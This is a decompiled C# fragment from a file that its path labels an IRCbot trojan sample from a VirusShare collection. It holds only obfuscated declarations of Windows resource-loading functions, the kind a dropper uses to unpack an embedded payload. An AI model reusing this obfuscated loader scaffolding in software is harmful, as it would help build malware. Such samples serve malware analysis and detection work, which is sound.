// Decompiled with JetBrains decompiler // Type: yafgsjxsd554wkbwu.Vzc1okmpravdrvlvo // Assembly: 4ldbvrmz, Version=6.0.220.4, Culture=neutral, PublicKeyToken=null // MVID: 7CE81D78-4EC2-4D47-AD6D-9A598C5B77D4 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Jorik.IRCbot.cwp-92f7e121edf5bcaced863d99561f0db912de86a6c07c307f3e429d5ad8e8f881.exe using System; using System.Runtime.InteropServices; namespace yafgsjxsd554wkbwu { public class Vzc1okmpravdrvlvo { [DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)] public static extern IntPtr Jmqtpodci2jfhcs0m1s2np21r(string lpModuleName); [DllImport("kernel32.dll", EntryPoint = "FindResourceA")] public static extern IntPtr Yfjiajv5pdhoc2cbb(IntPtr hModule, int lpID, string lpType); [DllImport("kernel32.dll", EntryPoint = "LoadResource", SetLastError = true)] public static extern IntPtr Xgfqdr5fofcy3fmbo(IntPtr hModule, IntPtr hResInfo); [DllImport("kernel32.dll", EntryPoint = "SizeofResource", SetLastError = true)] public static extern uint W3i1m50ffqcqq5vjpqt4xlhuc(IntPtr hModule, IntPtr hResInfo); } }